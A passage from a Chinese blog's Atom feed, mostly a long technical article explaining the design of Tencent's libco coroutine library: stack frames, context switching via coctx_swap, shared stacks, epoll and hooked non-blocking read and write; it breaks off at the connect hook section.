  下一篇开始介绍如何在C程式里调用汇编程式里定义的函数。

  OK，就到这里，休息，休息一下 o(∩\_∩)o\~\~
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>漫谈微信libco协程设计及实现（万字长文）</title>
        <published>2024-02-23T00:00:00+00:00</published>
        <updated>2024-02-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/漫谈微信libco协程设计及实现-万字长文/"/>
        <id>https://vercel.juzhong.asia/obsidian/漫谈微信libco协程设计及实现-万字长文/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/漫谈微信libco协程设计及实现-万字长文/">&lt;h1 id=&quot;man-tan-wei-xin-libcoxie-cheng-she-ji-ji-shi-xian-mo-zi-chang-wen&quot;&gt;漫谈微信libco协程设计及实现（万字长文）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-libcojian-jie&quot;&gt;1.libco简介&lt;&#x2F;h2&gt;
&lt;p&gt;  libco是微信后台大规模使用的c&#x2F;c++协程库，2013年至今稳定运行在微信后台的数万台机器上，使得微信后端服务能同时hold大量请求，被誉为微信服务器稳定性的基石。libco在2013年的时候作为腾讯六大开源项目首次开源。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Tencent&#x2F;libco&quot;&gt;libco源码地址&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;  libco首先能解决CPU利用率与IO利用率不平衡，比用多线程解决IO阻塞CPU问题更高效。因为用户态协程切换比线程切换性能高：线程切换保存恢复的数据更多，需要用户态和内核态切换。 其次libco又避免了异步调用和回调分离导致的代码结构破碎。&lt;&#x2F;p&gt;
&lt;p&gt;  libco采用epoll多路复用使得一个线程处理多个socket连接，采用钩子函数hook住socket族函数，采用时间轮盘处理等待超时事件，采用协程栈保存、恢复每个协程上下文环境。&lt;&#x2F;p&gt;
&lt;p&gt;  为了让大家更容易阅读libco源码，本文以源码为主介绍libco，内容偏底层细节。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-she-ji-si-xiang&quot;&gt;2.设计思想&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1xie-cheng-qie-huan&quot;&gt;2.1协程切换&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;2-1-1-han-shu-zhan&quot;&gt;2.1.1 函数栈&lt;&#x2F;h4&gt;
&lt;p&gt;  首先复习下进程的地址空间，如图2.1.1.1所示，与本文相关的有代码段、堆、栈。代码段包含应用程序的汇编代码，指令寄存器eip存的是代码段中某一条汇编指令地址，cpu从eip中取出汇编指令的地址，并在代码段中找到对应汇编指令开始执行。CPU执行指令时在栈里存参数、局部变量等数据。代码通过malloc、new在堆上申请内存空间。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;process-address-space-layout.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.1.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-1-1.jpg&quot;&gt;图2.1.1.1&lt;&#x2F;a&gt;  图2.1.1.2所示C代码，通过gcc -m32 test.c -o test.o在i386下编译，然后执行gdb test.o。disas main可看到图2.1.1.3所示的main函数汇编码，disas sum可看到图2.1.1.4所示sum函数的汇编代码。调用sum时，main和sum的函数栈如图2.1.1.5所示。图2.1.1.5的表共有两列，第一列为内存地址，第二列为该地址存的内容，除了用“…”省略的内存地址，其他每一行均比上一行低4byte，因为栈地址从高到低增长。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-func-stack-c-code.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.1.2&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-1-2.png&quot;&gt;图2.1.1.2&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;main-function-assembly.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.1.3 main函数汇编码&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-1-3.png&quot;&gt;图2.1.1.3 main函数汇编码&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-sum-function-assembly.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.1.4 sum函数汇编码&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-1-4.png&quot;&gt;图2.1.1.4 sum函数汇编码&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;x86-32bit-function-stack.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.1.5 32位系统函数栈&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-1-5.png&quot;&gt;图2.1.1.5 32位系统函数栈&lt;&#x2F;a&gt;  从图2.1.1.5可以看出：一，每个函数的栈在ebp栈底指针和esp栈顶指针之间；二，存在调用关系的两个函数的栈内存地址是相邻的；三，ebp指针指的位置存储的是上级函数的ebp地址，例如sum的ebp 0xffffd598位置存的是main的ebp0xffffd5c8，目的是sum执行后可恢复main的ebp，而main的esp可通过sum的ebp + 4恢复；四，sum的ebp + 4位置，即main的esp位置存的是sum执行后的返回地址0x08048415，该地址不在图2.1.1.1中的栈（Stack）里，而在图2.1.1.1中的代码段里，sum执行后，leave指令恢复ebp、esp，ret指令将esp处的内容0x08048415放到寄存器eip，cpu从eip里取出下一条待执行的指令地址，并根据指令地址从代码段里获取指令执行；五，sum的参数y、x按高地址到低地址，依次存在sum的ebp + 12、ebp + 8位置处。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-1-2-xie-cheng-zhan&quot;&gt;2.1.2 协程栈&lt;&#x2F;h4&gt;
&lt;p&gt;  共享栈下文介绍，此处介绍非共享栈。在非共享栈模式下，每个非主协程有自己的栈，而该栈是在堆上分配的，并不是系统栈，但主协程的栈仍然是系统栈，每两个协程的栈地址不相邻。协程栈切换分为第1次、第k次(k&amp;gt;=2)换到目的协程TargetCoroutine。&lt;&#x2F;p&gt;
&lt;p&gt;  因为主协程即当前线程的第1次运行是系统调度的，后续才是用户调度的，而非主协程每次都由用户调度。所以每次主协程切回的行为都一样，且和非主协程第k次(k&amp;gt;=2)的切回行为一致。&lt;&#x2F;p&gt;
&lt;p&gt;  第1次切到TargetCoroutine之前， coctx_make（图2.1.2.1）将函数地址pfn写入协程变量regs[ kEIP ]，pfn即为CoRoutineFunc的指针。CoRoutineFunc函数（图2.1.2.2）在第448行调进用户自定义的协程函数UserCoRoutineFunc（图2.1.2.3）。图2.1.2.1中ss_sp为128K协程栈低地址，ss_size为128K，将ss_sp + ss_size – sizeof(coctx_param_t) – sizeof(void*)作为esp开始位置，记录在regs[kESP]。因为栈从高到低增长，所以真正的栈空间从高地址ss_sp + ss_size – sizeof(coctx_param_t) – sizeof(void*)增长到低地址ss_sp。这部分空间虽然是协程栈，但实际是通过stack_mem-&amp;gt;stack_buffer = (char*)malloc(stack_size)申请的堆空间。CoRoutineFunc、其调用的函数、其调用的函数再调用的函数…的函数栈均在该128K的堆空间里。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-coroutine-stack-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.2.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-2-1.png&quot;&gt;图2.1.2.1&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-coroutine-stack-layout-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.2.2&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-2-2.png&quot;&gt;图2.1.2.2&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-coroutine-stack.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.2.3&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-2-3.png&quot;&gt;图2.1.2.3&lt;&#x2F;a&gt;  第1次切换到TargetCoroutine时。图2.1.2.4第50行将esp指向TargetCoroutine.coctx_t.regs，此时esp指向的地址如图2.1.2.5所示。第54行从regs[0]弹出返回地址，即CoRoutineFunc函数地址0x08043212。第65行 弹出esp地址即ss_sp + ss_size – sizeof(coctx_param_t) – sizeof(void*)。第67行pushl %eax做两件事情：一，将esp地址减4，即esp = ss_sp + ss_size – sizeof(coctx_param_t) – sizeof(void*) – 4；二，在esp新位置压入CoRoutineFunc函数地址。第71行ret从esp取出CoRoutineFunc函数地址放入eip寄存器，cpu从eip寄存器取出CoRoutineFunc函数第一条指令地址开始执行指令，CoRoutineFunc函数第一条指令的地址就是CoRoutineFunc函数地址。
  图2.1.2.1中没有对regs[kEBP]赋初值，因此切到TargetCoroutine时弹出的ebp是0，导致CoRoutineFunc函数栈存的上级函数的ebp是0，但没有影响。CoRoutineFunc（图2.1.2.2）只能执行到第454行：co_yield_env(env)，然后切到其他协程，不会执行到456行。上级函数的ebp是在CoRoutineFunc执行后，用于恢复上级函数的esp，但在这里CoRoutineFunc函数在return 0之前已经切到其他协程，因此上级函数的ebp是0不会导致错误。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-coroutine-stack-frame.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.2.4&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-2-4.png&quot;&gt;图2.1.2.4&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-first-switch-target.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.2.5 第1次切到TargetCoroutine&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-2-5.png&quot;&gt;图2.1.2.5 第1次切到TargetCoroutine&lt;&#x2F;a&gt;  TargetCoroutine在第k-1次被coctx_swap切出时，TargetCoroutine是图2.3.2.4的源协程curr。切出TargetCoroutine时会调进coctx_swap，在执行图2.1.2.4第34行之前，函数栈如图2.1.2.6所示。然后将co_swap（注意不是coctx_swap，因为这里没有像图2.1.1.4的第3、4、5行修改ebp和esp）栈顶地址+4即0xffd2dc14通过第38行写入到regs[kESP]。将co_swap（不是coctx_swap，原因同上）栈底地址ebp即0xffd2dc3c通过第40行写入regs[kEBP]。将stCoRoutineEnv_t* curr_env = co_get_curr_thread_env()的第一条汇编指令地址0x08043212通过第47行写入regs[ kEIP ]。此时regs数组内容如图2.1.2.7所示，在此期间esp的变化如图2.1.2.7左侧所示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;co-swap-function-stack.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.2.6 co_swap函数栈&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-2-6.png&quot;&gt;图2.1.2.6 co_swap函数栈&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-switch-target-coroutine.png&quot; alt=&quot;&quot; &#x2F;&gt;次切到TargetCoroutine&quot;)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.2.7 第k(k&gt;=2)次切到TargetCoroutine&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-2-7.png&quot;&gt;图2.1.2.7 第k(k&amp;gt;=2)次切到TargetCoroutine&lt;&#x2F;a&gt;  第k(k&amp;gt;=2)次切回TargetCoroutine时，图2.1.2.4第54行弹出eax，即stCoRoutineEnv_t* curr_env = co_get_curr_thread_env()的第一条汇编指令地址0x08043212。第61行弹出ebp即图2.3.2.6所示的0xffd2dc3c。图2.3.2.4第65行弹出esp，即图2.1.2.6所示的0xffd2dc14(不是0xffd2dc10，因为图2.3.2.4第38行的压入的eax是0xffd2dc10 + 4)。第67行做两件事情，首先esp减4得到切出时的栈地址0xffd2dc10，再将eax存的汇编指令地址0x08043212写到esp即0xffd2dc10处。最后ret从esp取出汇编指令地址0x08043212放入eip寄存器，cpu从eip寄存器取出指令地址开始执行指令。因为TargetCoroutine切回时，首先执行 stCoRoutineEnv_t* curr_env = co_get_curr_thread_env()，而TargetCoroutine在之前切出时，最后执行的代码是coctx_swap(&amp;amp;(curr-&amp;gt;ctx),&amp;amp;(pending_co-&amp;gt;ctx) )，因此协程在切回后能接着之前切出时的代码继续执行。对比图2.1.2.5和2.1.2.7发现：第1次切到TargetCoroutine时ebp、esp、返回地址、以及其他寄存器和第k(k&amp;gt;=2)次均不同。
  libco在stCoRoutineEnv_t定义了pCallStack数组，大小为128，数组里的每个元素均为协程。pCallStack用于获取当前协程pCallStack[iCallStackSize - 1]；获取当前协程挂起后该切到的协程pCallStack[iCallStackSize - 2]。pCallStack存的是递归调用（暂且称之为递归，并不是递归）的协程，pCallStack[0]一定是主协程。例如主协程调用协程1，协程1调用协程2…协程k-1调用协程k，这种递归关系的k最大为127，调到协程127时，此时pCallStack[0]存主协程，pCallStack[1]存协程1…pCallStack[k]存协程k..pCallStack[127]存协程127。但递归如此之深的协程实际中不会遇到，更多的场景应该是主协程调用协程1，协程1挂起切回主协程，主协程再调用协程2，协程2挂起切回主协程，主协程再调用协程3…因此主协程调到协程k时，pCallStack[0]是主协程，pCallStack[1]是协程k，其他元素为空；协程k挂起切回主协程时，pCallStack[0]是主协程，其他元素为空。因此128大小的pCallStack足够上万甚至更多协程使用。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-1-3-zhu-xie-cheng&quot;&gt;2.1.3 主协程&lt;&#x2F;h4&gt;
&lt;p&gt;  主协程即为当前线程，用stCoRoutine_t. cIsMain标记。主协程的栈在图2.1.1.1所示的栈(Stack)区，而其他协程的栈在图2.1.1.1所示的堆(Heap)区。图2.1.2.4中切出主协程时38-47行寄存器存在regs数组里（不在128K的协程栈里，另外申请的堆空间）。切回主协程时，第61、65行弹出的ebp、esp指向的是系统栈里的内存，因此主协程的栈始终在系统栈上，用不到128K的协程栈。&lt;&#x2F;p&gt;
&lt;p&gt;  那是否有必要将当前协程标记为主协程？图2.1.3.1的第1024、1033行是代码仅有的两处需要判断主协程。如果声明了协程私有变量，但没有创建其他协程时，co为NULL，此时通过1026行获取主协程私有变量。但在程序运行到某段代码时开始创建协程，如果不标记主协程，因为co不为NULL，代码会通过第1028行获取主协程私有变量，此时因为拿不到以前设置的主协程私有变量而导致错误。例如若将图2.1.3.1第1024、1033行的co-&amp;gt;cIsMain条件删掉，图2.1.3.2第24行输出的主协程私有变量为11，而第30行输出0。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-main-coroutine-check.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.3.3.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-3-3-1.png&quot;&gt;图2.3.3.1&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;co-main-coroutine-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.3.3.2&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-3-3-2.png&quot;&gt;图2.3.3.2&lt;&#x2F;a&gt;#### 2.1.4 共享栈&lt;&#x2F;p&gt;
&lt;p&gt;  每个协程申请一个固定128K的栈，在协程数量很大时，存在内存压力。因此libco引入共享栈模式，示例代码可参看example_copystack.cpp。共享栈对主协程没有影响，共享栈仍然是在堆上，而主协程的栈在系统栈上。&lt;&#x2F;p&gt;
&lt;p&gt;  采用共享栈时，每个协程的栈从共享栈拷出时，需要分配空间存储，但按需分配空间。因为绝大部分协程的栈空间都远低于128K，因此拷出时只需分配很小的空间，相比私有栈能节省大量内存。共享栈可以只开一个，但为了避免频繁换入换出，一般开多个共享栈。每个共享栈可以申请大空间，降低栈溢出的风险。&lt;&#x2F;p&gt;
&lt;p&gt;  假设开10个共享栈，每个协程模10映射到对应的共享栈。假设协程调用顺序为主协程、协程2、协程3、协程12。协程2切到协程3时，因为协程2、3使用的共享栈分别是第2、3个共享栈，没有冲突，所以协程2的栈内容仍然保留在第2个共享栈，并不拷出来，但协程2的寄存器会被coctx_swap保存在regs数组。调用到协程12时，协程12和协程2都映射到第2个共享栈，因此需要将协程2的栈内容拷出，并将协程12的栈内容拷贝到第2个共享栈中。所以共享栈多了拷出协程2的栈、拷进协程12的栈两个操作，即用拷贝共享栈的时间换取每个协程栈的空间。&lt;&#x2F;p&gt;
&lt;p&gt;  图2.4.1在609行将curr的stack_sp指向c的地址，记录当前协程栈的低位置，当前协程栈的高位置是ss_sp + ss_size – sizeof(coctx_param_t) – sizeof(void*)，存的是CoRoutineFunc函数第一条汇编指令。curr协程拷出协程时，需要拷贝从curr-&amp;gt;stack_sp(即&amp;amp;c)到ss_sp + ss_size – sizeof(coctx_param_t) – sizeof(void*)的栈内容。以后从其他协程再切换回curr协程时，如果共享栈里有curr协程，则只通过coctx_swap恢复寄存器即可；否则如图2.4.1第657行所示，需要将curr保存在curr-&amp;gt;save_buffer的协程栈复制到从curr-&amp;gt;stack_sp到ss_sp + ss_size – sizeof(coctx_param_t) – sizeof(void*)的内存空间。&lt;&#x2F;p&gt;
&lt;p&gt;  图2.1.4.1从curr协程切到pending_co协程时，如果是共享栈模式，先拿到pending_co的共享栈stack_mem里已有的协程occupy_co，如果occupy_co非空且不是pending_co，则保存已有的协程save_stack_buffer(occupy_co)，将stack_mem指向的协程换为pending_co。并将pending_co和occupy_co均保存在env里，不能用局部变量记录，因为局部变量在coctx_swap之前属于curr协程，但coctx_swap后协程栈已经被切换，curr的所有局部变量无法被pending_co访问。如果occupy_co和pending_co不是同一个协程，需要将occupy_co在共享栈里的数据拷贝到occupy_co-&amp;gt;save_buffer。协程的数据除了在栈里还分布在寄存器，如果occupy_co不是curr，则在occupy_co之前被切换到其他协程时寄存器已经被coctx_swap保存；否则，则其寄存器在本次执行coctx_swap被保存。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-shared-stack-switch.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.4.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-1-4-1.png&quot;&gt;图2.1.4.1&lt;&#x2F;a&gt;#### 2.1.5 线程切换 VS 协程切换&lt;&#x2F;p&gt;
&lt;p&gt;  IO密集时也可以使用多个线程。但线程有两个不足：一，切换代价大（保存恢复上下文、线程调度）；二，占用资源多。&lt;&#x2F;p&gt;
&lt;p&gt;  线程往往需要对公共数据加锁，锁会导致线程调度。因为用户的线程是在用户态执行，而线程调度和管理是在内核态实现，所以线程调度需要从用户态转到内核态，再从内核态转到用户态。切到内核态时需要保存用户态上下文，再切到用户态时，需要恢复用户态上下文，而线程的用户态上下文比协程上下文大得多。另外线程调度也需要耗时。&lt;&#x2F;p&gt;
&lt;p&gt;  线程栈默认为1M大于协程栈128K，另外线程还需要各种struct存一些状态，实测每个pthread_create创建的线程大约占8M左右内存，因此线程占用资源也远比协程多。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-xie-cheng-kong-zhi&quot;&gt;2.2 协程控制&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;2-2-1-epollduo-lu-fu-yong-iomo-xing&quot;&gt;2.2.1 epoll多路复用IO模型&lt;&#x2F;h4&gt;
&lt;p&gt;  协程使用epoll多路复用IO模型。常见的同步调用是同步阻塞模型，异步调用是异步IO模型。以read为例说明以下三种IO模型的区别，read分为两个阶段：一，等待数据；二，将数据从kernel拷贝到用户线程。&lt;&#x2F;p&gt;
&lt;p&gt;  同步调用read使用同步阻塞IO，kernel等待数据到达，再将数据拷贝到用户线程，这两个阶段用户线程都被阻塞。异步调用read使用异步IO模型，用户线程调用read后，立刻可以去做其它事， kernel等待数据准备完成，然后将数据拷贝到用户内存，都完成后，kernel通知用户read完成，然后用户线程直接使用数据，两个阶段用户线程都不被阻塞。而协程调用read使用多路复用IO模型，用户线程调用read后，第一阶段也不会被阻塞，但第二个阶段会被阻塞，epoll多路复用IO模型可以在一个线程管理多个socket。&lt;&#x2F;p&gt;
&lt;p&gt;  同步调用在两个阶段都会阻塞用户线程，因此效率低。虽然可以为每个连接开个线程，但连接数多时，线程太多导致性能压力，也可以开固定数目的线程池，但如果存在大量长连接，线程资源不被释放，后续的连接得不到处理。异步调用时，因为两个阶段都不阻塞用户线程，因此效率最高，但异步的调用逻辑和回调逻辑需要分开，在异步调用多时，代码结构不清晰。而协程的epoll多路复用IO模型，虽然会阻塞第二个阶段，但因为第二阶段读数据耗时很少，因此效率略低于异步调用。协程最大的优点是在接近异步效率的同时，可以使用同步的写法（仅仅是同步的写法，不是同步调用）。例如read函数的调用代码后，紧接着可以写处理数据的逻辑，不用再定义回调函数。调用read后协程挂起，其他协程被调用，数据就绪后在read后面处理数据。&lt;&#x2F;p&gt;
&lt;p&gt;  系统select&#x2F;poll、epoll函数都提供多路IO复用方案，协程使用的是epoll。select、poll类似，监视writefds、readfds、exceptfds文件描述符(fd)。调用select&#x2F;poll会阻塞，直到有fd就绪（可读、可写、有except），或超时。select&#x2F;poll返回后，通过遍历fd集合，找到就绪的fs，并开始读写。poll用链表存储fd，而select用fd标记位存储，因此poll没有最大连接数限制，而select限制为1024。select&#x2F;poll共有的缺点是：一，返回后需要遍历fd集合找到就绪的fd，但fd集合就绪的描述符很少；二，select&#x2F;poll均需将fd集合在用户态和内核态之间来回拷贝。epoll的引入是为了解决select&#x2F;poll上述两个缺点，epoll提供三个函数epoll_create、epoll_ctl、epoll_wait。epoll_create在内核的高速cache中建一棵红黑树以及就绪链表(activeList)。epoll_ctl的add在红黑树上添加fd结点，并且注册fd的回调函数，内核在检测到某fd就绪时会调用回调函数将fd添加到activeList。epoll_wait将activeList中的fd返回。epoll_ctl每次只往内核添加红黑树节点，不需像select&#x2F;poll拷贝所有fd到内核，epoll_wait通过共享内存从内核传递就绪fd到用户，不需像select&#x2F;poll拷贝出所有fd并遍历所有fd找到就绪的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-2-2-fei-zu-sai-io&quot;&gt;2.2.2 非阻塞IO&lt;&#x2F;h4&gt;
&lt;p&gt;  协程的epoll多路复用IO模型使用的是非阻塞IO，发起read操作后，可立即挂起协程，并调度其他协程。非阻塞IO是通过fcntl函数设置O_NONBLOCK，影响socket族read、write、connect、sendto、recvfrom、send、recv函数。因为read、recv、recvfrom实现类似，write、send实现类似。因此接下来介绍read、write、connect三个函数。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-2-2-1-gou-zi-han-shu-read&quot;&gt;2.2.2.1 钩子函数read&lt;&#x2F;h5&gt;
&lt;p&gt;  如图2.2.2.1.1所示，用户自定义的read函数hook住系统read函数。Read时分三种情况：一，用户未开启hook，直接在337行调用系统read；二，如果用户指定了O_NONBLOCK，也直接在343行调用系统read，此时是非阻塞的；三，如果用户既开启了hook，又没有指定O_NONBLOCK，如果libco不做任何处理，即使通过353行poll了，但如果协程是超时返回，第355行还是会被阻塞。所以只要用户开启hook，socket函数（图2.2.2.1.2）会在234行调用fcntl函数，最终调用图2.2.2.1.3的第696行，悄悄的设置O_NONBLOCK，但user_flag并没有记录O_NONBLOCK，这样即可和第二种情况区分。然后图2.2.2.1.1第353行调用poll将当前协程挂起，直到有数据可读或者超时，协程才会重新调度。在第二种情况下，不能先将协程挂起，等待就绪后再切回，因为用户显示的设置O_NONBLOCK是为了立即返回，如果挂起，就绪或超时后再切回，与用户需要立即获得返回结果的初衷违背。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-read-hook-code.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.2.1.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-2-2-1-1.png&quot;&gt;图2.2.2.1.1&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-read-hook.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.2.1.2&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-2-2-1-2.png&quot;&gt;图2.2.2.1.2&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-read-hook-figure3.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.2.1.3&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-2-2-1-3.png&quot;&gt;图2.2.2.1.3&lt;&#x2F;a&gt;##### 2.2.2.2 钩子函数write&lt;&#x2F;p&gt;
&lt;p&gt;  非阻塞write在发送缓冲区没有空间时直接返回，发送缓冲区有空间时，则拷贝全部或部分（空间不够）数据，返回实际拷贝的字节数。&lt;&#x2F;p&gt;
&lt;p&gt;  如图2.2.2.2.1所示，分三种情况：一，用户未开启hook，在372行调用系统write；二，如果用户指定了O_NONBLOCK，在378行调用系统write，此时是非阻塞的，这种情况与第三种情况区分的原因见2.2.2.1；三，如果用户既开启了hook，又没有指定O_NONBLOCK，由2.2.2.1可知，libco已悄悄设置O_NONBLOCK，只要数据没有完全写入缓冲区，就通过第402行poll将协程挂起，等待有空余空间唤醒协程或者超时唤醒。 writeret记录本次调用写入的字节数,wrotelen记录总共写入的字节数，如果本次写入没有空间或出错，则直接返回。因为write明确知道要写入数据的长度nbyte，而一次可能无法写入全部数据，所以write在while循环里不断写数据，直到数据写完、写出错，才会停止写数据。而2.2.2.1的read不知要读多少数据，因此读一次就返回。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-write-hook.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.2.2.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-2-2-2-1.png&quot;&gt;图2.2.2.2.1&lt;&#x2F;a&gt;##### 2.2.2.3 钩子函数connect&lt;&#x2F;p&gt;
